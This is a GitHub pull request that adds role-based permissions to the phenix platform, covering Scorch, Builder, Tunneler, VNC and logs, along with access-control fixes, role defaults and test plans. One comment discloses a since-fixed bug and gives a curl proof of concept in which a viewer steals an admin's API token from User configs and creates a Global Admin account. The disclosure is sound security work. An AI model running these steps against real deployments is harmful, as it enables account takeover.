Repository navigation
feat(rbac): protect Scorch, Builder, and Tunneler - #385
GhostofGoes wants to merge 9 commits into
Conversation
efd728c to
107b7c2
Compare
107b7c2 to
639f517
Compare
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
- Require scorch post/delete when the generic app trigger endpoints start or cancel Scorch, matching the Scorch pipeline routes. - Migrate built-in roles once, marked by the phenix.rbac/service-permissions annotation, so administrators can revoke service access without a restart granting it again. Keep Scorch and Tunneler read access for Experiment Viewer and VM Admin. - Omit empty resourceNames when saving roles and users so migrated roles still pass schema validation when edited. - Re-check Scorch write permission when a terminal stream connects and make terminal client IDs single use. - Quote download filenames, send nosniff on Builder saves, close tunneler files, and reject non-file tunneler downloads. - Download tunnelers with axios and FileSaver, share the Scorch control check between views, and show read-only Scorch status. - Add Go and Vitest coverage, and update the CHANGELOG and phenix skill. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
- Give every viewer role Builder access, and let Builder saves, which only return the posted file, use builder get. - Let roles that control VMs (Experiment Admin, Experiment User, VM Admin) start and cancel Scorch runs and write to Scorch terminals. Scorch pipeline routes now need scorch post or delete plus read access to the experiment instead of experiments/trigger, and Scorch run events go to everyone who can view Scorch for the experiment. - Let Experiment User create and delete port forwards for its VMs. - Add Scorch Viewer, Scorch Admin, and Builder default roles, created once on existing installs through a new service-roles store component. - Check configs create against the new config's Kind/name, including renames, so a role cannot create User or Role configs outside its scope. - Scope PUT /experiments/builder to the named experiment and require experiments create when it creates one. - Migrate existing users' new policies with the scope of their matching policy, and skip permissions a role already has. - Fix a UI crash on policies without resource names, check Configs page buttons against Kind/name, and guard etcd component checks. - Add Go and Vitest coverage and update the CHANGELOG and phenix skill. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
Image configs carry build scripts that administrators run as root, so the Builder role no longer reads or edits them. Also note in the default roles and the CHANGELOG that scorch post allows typing into Scorch break terminals, which are shells on the phenix server. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
…oles - Add the scorch/terminals write permission for typing into and exiting Scorch terminals. A Scorch terminal, such as the one a break component opens, is a shell running as the phenix server process, so writing to it gives control of the server and bypasses RBAC. Only Global Admin and the Scorch Admin role get it; Experiment Admin, Experiment User, and VM Admin can still start and cancel Scorch runs. - Check a new user's role before storing the user, so the Users page, the API, and --users reject unknown roles instead of storing users without a role, and return 409 for an existing username instead of panicking. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
The auth header value must be "Bearer <token>", and the login body uses "user" and "pass", so the skill's curl examples returned 401 and 400. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
POST /api/v1/workflow/configs/{branch} created new configs after only an
unnamed configs create check, so a role limited to Topology configs, such
as the new Builder role, could create User or Role configs and grant itself
more access. It now uses the same Kind/name check as POST /api/v1/configs.
Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
Move the Scorch permission check shared by the trigger handlers into a helper so TriggerExperimentApps stays under the funlen limit, and remove the funlen directive StartPipeline no longer needs. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
f945aee to
90aff0e
Compare
Security: - Check vms/vnc get on the VNC websocket, which carries the VNC session; only the VNC page was checked, so any user could open any VM's console. - Stop GetLogs after rejecting a request, and send live log messages only to users with logs get instead of every connected user. - Never return User config password hashes or API tokens from the configs API; any role that could read User configs, including Global Viewer, could use another user's token to act as that user. Updates through the configs and workflow APIs keep the stored password and tokens. - Require the new users/tokens create permission to create API tokens for another user; users patch alone now only covers your own tokens. Fixes: - Filter experiments/captures list by <experiment>/<vm>. - Scope the Experiment Viewer vms/mount policy, and fix existing roles and users on first startup. - Check logs get and settings update for the Logs and Settings tabs. - Generate the permission list from parsed Go source so checks written with constants are included, and describe the --users entry format. Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
Security issue: User configs exposed password hashes and live API tokensFixed in de2c78e. Before the fix
Who could read them: any role with Impact: a read-only user could take over any account, including a Global Admin. ExampleThe server was started with P=https://phenix.example.com/api/v1
# The viewer signs in.
VIEWER=$(curl -s -X POST "$P/login" -d '{"user":"viewer","pass":"<pw>"}' | jq -r .token)
# The viewer reads the admin's User config.
curl -s -H "X-Phenix-Auth-Token: Bearer $VIEWER" "$P/configs/user/admin" | jq '.spec | {password, tokens}'
# {
# "password": "$2a$10$…",
# "tokens": { "ZXlKaGJHY2lPaUpJVXpJ…": "2026-09-23T13:27:05-06:00" }
# }
# Each token key is the admin's JWT, base64-encoded.
STOLEN=$(curl -s -H "X-Phenix-Auth-Token: Bearer $VIEWER" "$P/configs/user/admin" \
| jq -r '.spec.tokens | keys[0]' | base64 -d)
# The viewer creates a Global Admin account with the admin's token.
curl -s -X POST -H "X-Phenix-Auth-Token: Bearer $STOLEN" -H 'Content-Type: application/json' \
-d '{"username":"mallory","password":"<pw>","first_name":"m","last_name":"m","role_name":"Global Admin","resource_names":[]}' \
"$P/users"Results on a local phēnix built from this branch before the fix:
When it works:
The exposed password hash also allows offline cracking. The fix
Result after the fix: the same steps return
For existing deployments: anyone who could read User configs before upgrading may have copied tokens. Rotating |
Description
tl;dr: Adds Builder, Scorch, and Tunneler permissions, new Builder and Scorch roles, and fixes related access-control gaps.
Changes
These are the CHANGELOG entries this PR adds.
Added
builder(get,post,put),scorch(get,post,delete),scorch/terminals(write), andtunneler(get) permissions across REST routes, Scorch websocket updates, the standalone Builder and Tunneler download links, and the web UI. Custom roles need these permissions added explicitly.scorch/terminalswritepermission, which only Global Admin and Scorch Admin have. A Scorch terminal, such as the one abreakcomponent opens, is a shell running as the phēnix server process, so this permission gives control of the phēnix server.vms/forwardscreateanddelete.Fixed
resourceNames: nullfor unscoped policies, which failed schema validation when an administrator later edited the role.Kind/nameas the server.etcdno longer panics when checking a store component that has not been initialized.--users, is now rejected instead of storing a user without a role. Creating a user whose name is taken returns409 Conflictinstead of failing mid-request.experiments/captureslistnow filters captures by<experiment>/<vm>, like every other VM check, instead of the bare VM name.vms/mountpermission now applies to the user's VMs. Its policy came after a policy with resource names, so assigning the role never scoped it. Existing roles and users are fixed on first startup.logsgetandsettingsupdate, the permissions the server checks, instead oflogslistandsettingsedit.phenix util role-tablenow lists every permission phēnix checks, including theuserspermissions, andphenix ui --usershelp describes the entry format.Security
scorch/terminalswrite. Previously, any authenticated user could stream or write to them. Scorch pipeline and terminal websocket updates now go only to users with Scorch access to the experiment instead of every connected user.POSTorDELETE /api/v1/experiments/{name}/trigger?apps=scorchnow requiresscorchpostordeletein addition toexperiments/trigger. Starting and canceling runs on the Scorch pipeline routes now needsscorchpostordeleteand read access to the experiment, instead ofexperiments/trigger.configs createis now checked against the new config'sKind/name, on bothPOST /api/v1/configsandPOST /api/v1/workflow/configs/{branch}, and renaming a config or changing its kind needsconfigs createfor the new name. Previously, any role withconfigs createcould create User or Role configs and grant itself more access.PUT /api/v1/experiments/buildernow checksexperiments updatefor the named experiment, andexperiments createwhen it creates the experiment.GET /builder,POST /builder/save, andGET /downloads/tunneler/{name}now require authentication andbuildergetortunnelerget.GET /api/v1/experiments/{exp}/vms/{name}/vnc/ws), which carries the VNC session itself, now requiresvms/vncgetfor the VM, like the VNC page. Previously any authenticated user could open a VNC session to any VM.GET /api/v1/logsno longer sends logs after rejecting a request withoutlogsget, and live log messages now go only to users withlogsgetinstead of every connected user.users/tokenscreatepermission for that user, in addition touserspatch. By default, only Global Admin has it.Not covered by the CHANGELOG:
Bearer <token>and theuser/passlogin body.Background
Before this PR, Builder, Scorch, and Tunneler had no permissions of their own:
GET /builder,POST /builder/save, and tunneler downloads needed no authentication at all.Reviewing these paths also turned up access-control gaps in config creation, Builder experiment updates, and user creation. A later review of the permissions docs found more:
GET /logssent logs after rejecting a request, and live logs went to every connected user.userspatchon another user let the holder create API tokens for them.Request for comments: which roles should have which permissions?
Please comment on the defaults below. The table is what this PR ships, and the questions after it are the open decisions. Custom roles are not changed; they only gain these permissions when an admin adds them.
"Scoped" means the role follows the experiments set on the Users page. For the scoped roles, the Users page scopes VM-level permissions, including port forwards, only when the admin enters
exp-a/*as well asexp-a.builderscorchscorch/terminalstunnelerwritegetgetgetgetgetpostputgetpostdeletegetvms/*getpostgetpostdeletegetvms/forwardscreatedeletegetgetgetgetpostdeletegetvms/*getgetgetexperimentslistget;experiments/appsandexperiments/filesreadwritevmslistget;vms/screenshotgetgetpostputconfigslistgetcreateupdateforTopology/*,Scenario/*,Experiment/*;experimentslistgetcreateupdate;diskslistget;topologies,scenarios,applications,hosts,optionslist;schemasgetOpen questions:
scorch/terminalswrite, and only Global Admin and Scorch Admin get it. Roles that control VMs can start and cancel runs, but can only watch terminals. A run paused at abreakwaits until a terminal writer exits it, or until someone withscorchdeletecancels the run. Is that the right split, and should any other role get terminal access?experiments/trigger? It kept roles that control VMs from also gaining the right to trigger every other app.builderpost, and Experiment Admin haspostandput. Neither hasexperiments createorconfigsaccess, so the Builder's Save to phēnix and Open fail for them. This limit existed before this change. Should we drop these verbs, or grant the missing permissions?disksgetmeans disk download. Keep it?Imageconfigs are excluded because administrators run their build scripts as root. Agreed?ExperimentorScenarioconfig also means it can add Scorch components, such as abreak, that other roles later run.Related Issues/PRs
Type of Change
fix)feat)docs)refactor)chore)Checklist
Testing
Automated (macOS, Go 1.27, Node 26):
go test -race ./...passes, except fortunnelerandutil/mm/mmcli. Those two packages fail the same way on the base commit because of macOS port reuse and UNIX socket path length.Kindlimits.vms/*, and wildcard grants not duplicated.PUT /experiments/builderscoping.scorch/terminalswrite:scorch*and read-only wildcards don't grant it.--users, and a duplicate username returns409.GET /logsreject users without permission.users/tokenscreate.experiments/capturesfiltering by<experiment>/<vm>, and the Experiment Viewervms/mountmigration.resourceNames, null-guard, terminal-permission, user-creation, VNC, logs, User-secret, token, captures, and mount tests fail when their fix is reverted.golangci-lint run --new-from-rev=<base>reports 0 issues.npm test(34 tests),eslint,prettier --check, andnpm run buildpass.--jwt-signing-keyand--features tunneler-download.tunnelerfrom Experiment Viewer survived a restart.403for Experiment User. For Scorch Admin, it passes the permission check and fails the ownership check.400) and by--users, and nothing is stored.409.401).403for a user withoutvms/vncgeton the VM.GET /logsreturns only a403for a user withoutlogsget.How to test on a deployed phēnix
1. Prepare
Back up the store:
docker stop phenix && cp /etc/phenix/store.bdb /etc/phenix/store.bdb.pre-rbac. For etcd, take a snapshot.To test the upgrade path, create these users on the current release. Use the Users page or
phenix ui --users 'name:Pass1234!:Role Name:exp-a exp-a/*':admineuserexp-a exp-a/*eviewerexp-a exp-a/*eadminexp-a exp-a/*vmviewerexp-a/*Build with auth enabled:
docker build -f docker/Dockerfile --build-arg PHENIX_WEB_AUTH=enabled -t phenix:rbac .Add
--jwt-signing-key=<secret>and--features=tunneler-downloadto thephenix uicommand, and start the container.After the upgrade, create
sviewer(Scorch Viewer,exp-a exp-a/*),sadmin(Scorch Admin,exp-a exp-a/*), andbuilder(Builder, no resource names).Create two running experiments,
exp-aandexp-b. Giveexp-aa Scorch app with abreakcomponent:2. Upgrade
docker exec phenix phenix config list:role/builder,role/scorch-viewer, androle/scorch-adminexist.docker exec phenix phenix config get role/experiment-user -o yamlshows:buildergetpost.scorchgetpostdelete.tunnelerget.vms/forwardscreatedelete.phenix.rbac/service-permissions: "true"annotation.docker exec phenix phenix config get user/euser -o yamlshows:vms/forwardswith the sameresourceNamesasvms/*.role/scorch-viewerand restart. It must not come back.3. API checks
Get a token with:
T=$(curl -s -X POST $PHENIX/api/v1/login -d '{"user":"euser","pass":"..."}' | jq -r .token)Then send it as
-H "X-Phenix-Auth-Token: bearer $T". The Builder rows send it as a query parameter or form field instead.GET /builder?token=$TPOST /builder/save, formtoken=$T&filename=t.xml&xml=%3Cx%2F%3EGET /downloads/tunneler/phenix-tunneler-linux-amd64GET /api/v1/experiments/exp-a/scorch/pipelinesGET /api/v1/experiments/exp-b/scorch/terminalsPOST /api/v1/experiments/exp-a/scorch/pipelines/0(cancel the run between users)POST /api/v1/experiments/exp-a/trigger?apps=scorchPOST /api/v1/experiments/exp-a/scorch/terminals/1/exit/x(body saysforbiddenwhen the permission is missing)forbiddenforbiddenforbiddenforbiddenforbiddenforbiddenforbiddenPOST /api/v1/configswith aUserconfigBuilder role:
POST /api/v1/configswith a validTopologyconfig returns201.Roleconfig returns403.PUT /api/v1/configs/topology/<name>with a body ofkind: Userreturns403.DELETE /api/v1/configs/topology/<name>returns403.GET /api/v1/configslists noUser,Role, orImageconfigs.POST /api/v1/experiments/exp-a/startreturns403.Scoping:
PUT /api/v1/experiments/builderaseadminwith"name":"exp-b"returns403.4. UI checks
Navigation: Builder shows for every viewer role and the Builder role. Scorch shows for roles with
scorchgetandexperimentslist. Tunneler shows for Experiment Admin, User, and Viewer, and VM Admin.Scorch as
euser:breakterminal opens read-only with Close only, because Experiment User has noscorch/terminalswrite.sadmin: the same terminal has Exit and accepts input. Exiting it lets the run continue.sviewer, in a second browser: the same terminal is(read-only), typing has no effect, the status tags cannot be clicked, and run status updates live.Builder as
builder:Builder as
vmviewer: the Builder opens, and File > Save... downloads the file.Port forwards as
euser: on a runningexp-aVM, create and delete a port forward.Websocket: as a Scorch Viewer for
exp-b, the/api/v1/wsframes carry noapps/scorchevents forexp-a.Users page: creating a user with a role that doesn't exist (API:
POST /api/v1/userswith"role_name":"Nope") returns400, and no user is stored. Creating an existing username returns409.5. Other auth modes
--jwt-signing-key proxy-jwt --proxy-auth-header X-Forwarded-User): all of the above works through the proxy. Requesting/builder?token=...without the proxy headers returns400.6. Revocation survives restart
tunnelerpolicy fromrole/experiment-viewer. The save must succeed.evieweron the Users page.403, and still does after a restart.Rollback
Stop the container and restore
store.bdb.pre-rbac. Older releases do not remove the added policies, annotations, or roles.Additional Notes
configs createneed*/*or kind patterns to create configs, the same as they already needed for list, get, and update.scorchverbs plus experiment read access instead ofexperiments/trigger./builderstill takes the JWT as?token=, so it can appear in browser history and proxy logs.openapi.ymldoes not document the Scorch, Builder, or Tunneler routes.🤖 Generated with Claude Code